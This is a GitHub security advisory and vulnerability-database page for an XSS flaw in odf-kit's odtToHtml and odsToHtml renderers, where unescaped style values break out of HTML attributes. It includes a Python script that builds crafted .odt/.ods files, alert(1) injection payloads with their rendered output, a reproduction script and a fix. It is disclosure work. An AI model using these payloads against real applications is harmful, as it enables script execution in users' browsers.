GHSA-3CGG-C5PP-57H6
Vulnerability from github – Published: 2026-11-04 16:14 – Updated: 2026-11-04 16:14Summary
ODF style attribute values are interpolated into style="..." attributes without HTML-escaping in both of odf-kit's to-HTML renderers (odtToHtml and odsToHtml). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted .odt or .ods file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.
Details
ODT renderer (src/odt/to-html/html-renderer.ts)
The renderer has an escapeHtml() helper and applies it consistently to text content and to attribute values — href, src, alt, id, data-author, data-date, citation text all go through it. The inline CSS strings do not.
In renderTextSpan (dist/odt/to-html/html-renderer.js:195):
const css = spanStyleToCss(span.style);
if (css)
html = `<span style="${css}">${html}</span>`;
The value of e.g. fo:color is copied from the document into style.fontColor verbatim by the parser (extractSpanStyle, read/parser.js:348), then concatenated raw into the attribute. A " in the value terminates the attribute early.
The same unescaped style="${...}" pattern appears at roughly ten other emission sites: paragraph and heading (paragraphStyleToCss), table cells and rows (cellStyleToCss, rowStyleToCss), <col>, and the image style attribute. The affected source attributes include fo:color, fo:background-color, fo:text-shadow, fo:letter-spacing, fo:font-family (via both direct and font-face resolution), fo:margin-*, fo:padding-*, fo:line-height, fo:border*, and style:vertical-align.
ODS renderer (src/ods/to-html/html-renderer.ts) — same bug
buildInlineStyle() assembles the CSS string from cell formatting properties — fo:color, fo:font-size, fo:font-family, fo:background-color, fo:text-align, etc. — with zero escapeHtml calls, and renderCell emits it raw (line 65):
if (includeStyles && cell.formatting) {
const style = buildInlineStyle(cell.formatting);
if (style) attrs.push(`style="${style}"`);
}
Additionally, row.height (from style:row-height) goes raw into the row element (line 95):
const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return `<tr class="${prefix}-row"${style}>${cells}</tr>`;
The same injection is reachable through the public odf-kit/ods/to-html export (odsToHtml()), so both to-HTML directions are affected.
Version scope
The odt/to-html and ods/to-html modules first shipped in 0.14.0; the current latest release is 0.14.1. The PoCs were re-ran against the unreleased main branch (commit 270a361) — both injections still fire, so no fix has landed past the release.
PoC
Each PoC is a minimal ODF package (mimetype + META-INF/manifest.xml + content.xml) whose content.xml contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as build-pocs.py and run python3 build-pocs.py:
import zipfile
def build(path, mimetype, content):
# ODF requires 'mimetype' first and stored uncompressed
with zipfile.ZipFile(path, "w") as z:
z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
z.writestr("META-INF/manifest.xml",
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n'
' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n'
' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n'
'</manifest:manifest>\n')
z.writestr("content.xml", content)
ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n'
'<office:document-content\n'
' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n'
' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n'
' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n'
' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">')
Q = """
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}" # attribute injection
p2 = f'red{Q}><img src=x onerror={Q}alert(1){Q}><x style={Q}' # full markup injection
# .odt: one paragraph with a poisoned automatic text style
def odt(p):
return (HEAD + '\n<office:automatic-styles>\n'
' <style:style style:family="paragraph" style:name="P1">\n'
f' <style:text-properties fo:color="{p}"/>\n'
' </style:style>\n</office:automatic-styles>\n'
'<office:body><office:text><text:p text:style-name="P1">hello</text:p>'
'</office:text></office:body></office:document-content>\n')
# .ods: one cell with a poisoned automatic cell style
def ods(p):
return (HEAD + '\n<office:automatic-styles>\n'
' <style:style style:family="table-cell" style:name="ce1">\n'
f' <style:text-properties fo:color="{p}"/>\n'
' </style:style>\n</office:automatic-styles>\n'
'<office:body><office:spreadsheet><table:table table:name="Sheet1"'
' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0">'
'<table:table-row><table:table-cell table:style-name="ce1" office:value-type="string">'
'<text:p>hello</text:p></table:table-cell></table:table-row>'
'</table:table></office:spreadsheet></office:body></office:document-content>\n')
build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))
This produces poc1.odt, poc2.odt and poc3.ods. The only attacker-controlled input is the fo:color value on the style — for poc1 it reads, as stored in content.xml:
<style:text-properties fo:color="red" onmouseover="alert(1)" x=""/>
poc1.odt — attribute injection (ODT). The fo:color value (unescaped) is:
red" onmouseover="alert(1)" x="
(encoded as " in the XML). Output of odtToHtml(bytes, { fragment: true }):
<p><span style="color:red" onmouseover="alert(1)" x="">hello</span></p>
The quote breaks out of style, and onmouseover becomes a real attribute on the span.
poc2.odt — full markup injection (ODT). The style value is:
red"><img src=x onerror="alert(1)"><x style="
Output:
<p><span style="color:red"><img src=x onerror="alert(1)"><x style="">hello</span></p>
poc3.ods — same injection via the ODS renderer. A crafted .ods whose cell automatic style carries a poisoned fo:color value (same payload as poc2). Output of odsToHtml(bytes):
<tr class="ods-row"><td class="ods-cell" style="color:red"><img src=x onerror="alert(1)"><x style="">hello</td></tr>
Reproduction script:
import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';
const bytes = (p) => new Uint8Array(readFileSync(p));
console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));
This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.
Impact
Any consumer that renders odtToHtml() or odsToHtml() output as HTML — which is both functions' documented purpose — gets XSS from a crafted .odt/.ods file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode ({ fragment: true }) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably be relying on that today.
For what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and escapeHtml is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the buildInlineStyle path above is the second instance of the same defect.
Suggested fix
Escape the assembled CSS string at every style="${...}" site, in both renderers:
html = `<span style="${escapeHtml(css)}">${html}</span>`
(or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping row.height in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "odf-kit"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113787"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-04T16:14:34Z",
"nvd_published_at": "2026-10-21T16:17:26Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nODF style attribute values are interpolated into `style=\"...\"` attributes without HTML-escaping in **both** of odf-kit\u0027s to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection \u2014 and therefore script execution (XSS) \u2014 from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.\n\n### Details\n\n#### ODT renderer (`src/odt/to-html/html-renderer.ts`)\n\nThe renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values \u2014 `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not.\n\nIn `renderTextSpan` (dist/odt/to-html/html-renderer.js:195):\n\n```js\nconst css = spanStyleToCss(span.style);\nif (css)\n html = `\u003cspan style=\"${css}\"\u003e${html}\u003c/span\u003e`;\n```\n\nThe value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `\"` in the value terminates the attribute early.\n\nThe same unescaped `style=\"${...}\"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `\u003ccol\u003e`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`.\n\n#### ODS renderer (`src/ods/to-html/html-renderer.ts`) \u2014 same bug\n\n`buildInlineStyle()` assembles the CSS string from cell formatting properties \u2014 `fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc. \u2014 with zero `escapeHtml` calls, and `renderCell` emits it raw (line 65):\n\n```ts\nif (includeStyles \u0026\u0026 cell.formatting) {\n const style = buildInlineStyle(cell.formatting);\n if (style) attrs.push(`style=\"${style}\"`);\n}\n```\n\nAdditionally, `row.height` (from `style:row-height`) goes raw into the row element (line 95):\n\n```ts\nconst style = includeStyles \u0026\u0026 row.height ? ` style=\"height:${row.height}\"` : \"\";\nreturn `\u003ctr class=\"${prefix}-row\"${style}\u003e${cells}\u003c/tr\u003e`;\n```\n\nThe same injection is reachable through the public `odf-kit/ods/to-html` export (`odsToHtml()`), so both to-HTML directions are affected.\n\n#### Version scope\n\nThe `odt/to-html` and `ods/to-html` modules first shipped in **0.14.0**; the current latest release is **0.14.1**. The PoCs were re-ran against the unreleased `main` branch (commit `270a361`) \u2014 both injections still fire, so no fix has landed past the release.\n\n### PoC\n\nEach PoC is a minimal ODF package (`mimetype` + `META-INF/manifest.xml` + `content.xml`) whose `content.xml` contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) \u2014 save as `build-pocs.py` and run `python3 build-pocs.py`:\n\n```python\nimport zipfile\n\ndef build(path, mimetype, content):\n # ODF requires \u0027mimetype\u0027 first and stored uncompressed\n with zipfile.ZipFile(path, \"w\") as z:\n z.writestr(zipfile.ZipInfo(\"mimetype\"), mimetype, compress_type=zipfile.ZIP_STORED)\n z.writestr(\"META-INF/manifest.xml\",\n \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n \u0027\u003cmanifest:manifest xmlns:manifest=\"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0\" manifest:version=\"1.2\"\u003e\\n\u0027\n \u0027 \u003cmanifest:file-entry manifest:full-path=\"/\" manifest:media-type=\"\u0027 + mimetype + \u0027\"/\u003e\\n\u0027\n \u0027 \u003cmanifest:file-entry manifest:full-path=\"content.xml\" manifest:media-type=\"text/xml\"/\u003e\\n\u0027\n \u0027\u003c/manifest:manifest\u003e\\n\u0027)\n z.writestr(\"content.xml\", content)\n\nODT = \"application/vnd.oasis.opendocument.text\"\nODS = \"application/vnd.oasis.opendocument.spreadsheet\"\nHEAD = (\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n \u0027\u003coffice:document-content\\n\u0027\n \u0027 xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\"\\n\u0027\n \u0027 xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\"\\n\u0027\n \u0027 xmlns:style=\"urn:oasis:names:tc:opendocument:xmlns:style:1.0\"\\n\u0027\n \u0027 xmlns:fo=\"urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0\"\u003e\u0027)\n\nQ = \"\u0026quot;\"\np1 = f\"red{Q} onmouseover={Q}alert(1){Q} x={Q}\" # attribute injection\np2 = f\u0027red{Q}\u0026gt;\u0026lt;img src=x onerror={Q}alert(1){Q}\u0026gt;\u0026lt;x style={Q}\u0027 # full markup injection\n\n# .odt: one paragraph with a poisoned automatic text style\ndef odt(p):\n return (HEAD + \u0027\\n\u003coffice:automatic-styles\u003e\\n\u0027\n \u0027 \u003cstyle:style style:family=\"paragraph\" style:name=\"P1\"\u003e\\n\u0027\n f\u0027 \u003cstyle:text-properties fo:color=\"{p}\"/\u003e\\n\u0027\n \u0027 \u003c/style:style\u003e\\n\u003c/office:automatic-styles\u003e\\n\u0027\n \u0027\u003coffice:body\u003e\u003coffice:text\u003e\u003ctext:p text:style-name=\"P1\"\u003ehello\u003c/text:p\u003e\u0027\n \u0027\u003c/office:text\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\\n\u0027)\n\n# .ods: one cell with a poisoned automatic cell style\ndef ods(p):\n return (HEAD + \u0027\\n\u003coffice:automatic-styles\u003e\\n\u0027\n \u0027 \u003cstyle:style style:family=\"table-cell\" style:name=\"ce1\"\u003e\\n\u0027\n f\u0027 \u003cstyle:text-properties fo:color=\"{p}\"/\u003e\\n\u0027\n \u0027 \u003c/style:style\u003e\\n\u003c/office:automatic-styles\u003e\\n\u0027\n \u0027\u003coffice:body\u003e\u003coffice:spreadsheet\u003e\u003ctable:table table:name=\"Sheet1\"\u0027\n \u0027 xmlns:table=\"urn:oasis:names:tc:opendocument:xmlns:table:1.0\"\u003e\u0027\n \u0027\u003ctable:table-row\u003e\u003ctable:table-cell table:style-name=\"ce1\" office:value-type=\"string\"\u003e\u0027\n \u0027\u003ctext:p\u003ehello\u003c/text:p\u003e\u003c/table:table-cell\u003e\u003c/table:table-row\u003e\u0027\n \u0027\u003c/table:table\u003e\u003c/office:spreadsheet\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\\n\u0027)\n\nbuild(\"poc1.odt\", ODT, odt(p1))\nbuild(\"poc2.odt\", ODT, odt(p2))\nbuild(\"poc3.ods\", ODS, ods(p2))\n```\n\nThis produces `poc1.odt`, `poc2.odt` and `poc3.ods`. The only attacker-controlled input is the `fo:color` value on the style \u2014 for poc1 it reads, as stored in `content.xml`:\n\n```xml\n\u003cstyle:text-properties fo:color=\"red\u0026quot; onmouseover=\u0026quot;alert(1)\u0026quot; x=\u0026quot;\"/\u003e\n```\n\n\n**poc1.odt \u2014 attribute injection (ODT).** The `fo:color` value (unescaped) is:\n\n```\nred\" onmouseover=\"alert(1)\" x=\"\n```\n\n(encoded as `\u0026quot;` in the XML). Output of `odtToHtml(bytes, { fragment: true })`:\n\n```html\n\u003cp\u003e\u003cspan style=\"color:red\" onmouseover=\"alert(1)\" x=\"\"\u003ehello\u003c/span\u003e\u003c/p\u003e\n```\n\nThe quote breaks out of `style`, and `onmouseover` becomes a real attribute on the span.\n\n**poc2.odt \u2014 full markup injection (ODT).** The style value is:\n\n```\nred\"\u003e\u003cimg src=x onerror=\"alert(1)\"\u003e\u003cx style=\"\n```\n\nOutput:\n\n```html\n\u003cp\u003e\u003cspan style=\"color:red\"\u003e\u003cimg src=x onerror=\"alert(1)\"\u003e\u003cx style=\"\"\u003ehello\u003c/span\u003e\u003c/p\u003e\n```\n\n**poc3.ods \u2014 same injection via the ODS renderer.** A crafted `.ods` whose cell automatic style carries a poisoned `fo:color` value (same payload as poc2). Output of `odsToHtml(bytes)`:\n\n```html\n\u003ctr class=\"ods-row\"\u003e\u003ctd class=\"ods-cell\" style=\"color:red\"\u003e\u003cimg src=x onerror=\"alert(1)\"\u003e\u003cx style=\"\"\u003ehello\u003c/td\u003e\u003c/tr\u003e\n```\n\nReproduction script:\n\n```js\nimport { readFileSync } from \u0027fs\u0027;\nimport { odtToHtml } from \u0027odf-kit/odt/to-html\u0027;\nimport { odsToHtml } from \u0027odf-kit/ods/to-html\u0027;\n\nconst bytes = (p) =\u003e new Uint8Array(readFileSync(p));\n\nconsole.log(odtToHtml(bytes(\u0027poc2.odt\u0027), { fragment: true }));\nconsole.log(odsToHtml(bytes(\u0027poc3.ods\u0027)));\n```\n\nThis was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.\n\n### Impact\n\nAny consumer that renders `odtToHtml()` or `odsToHtml()` output as HTML \u2014 which is both functions\u0027 documented purpose \u2014 gets XSS from a crafted `.odt`/`.ods` file they convert. Untrusted file \u2192 arbitrary tags and attributes \u2192 script execution in the host page with the page\u0027s origin. The fragment mode (`{ fragment: true }`) is equally affected. The header comment in the ODT renderer currently promises \"the output is safe to embed in any context\", so consumers may reasonably be relying on that today.\n\nFor what it\u0027s worth, the sibling paths were checked: the markdown direction does not reach this code, and `escapeHtml` is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the `buildInlineStyle` path above is the second instance of the same defect.\n\n### Suggested fix\n\nEscape the assembled CSS string at every `style=\"${...}\"` site, in both renderers:\n\n```js\nhtml = `\u003cspan style=\"${escapeHtml(css)}\"\u003e${html}\u003c/span\u003e`\n```\n\n(or, stronger, validate/allowlist the parsed style values at parse time \u2014 they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping `row.height` in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.",
"id": "GHSA-3cgg-c5pp-57h6",
"modified": "2026-11-04T16:14:34Z",
"published": "2026-11-04T16:14:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitHubNewbie0/odf-kit/security/advisories/GHSA-3cgg-c5pp-57h6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113787"
},
{
"type": "WEB",
"url": "https://github.com/GitHubNewbie0/odf-kit/commit/fa3abc5a7a757f56c7212b2dbe99d1d2db995420"
},
{
"type": "PACKAGE",
"url": "https://github.com/GitHubNewbie0/odf-kit"
},
{
"type": "WEB",
"url": "https://github.com/GitHubNewbie0/odf-kit/releases/tag/v0.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via unescaped style attribute values"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.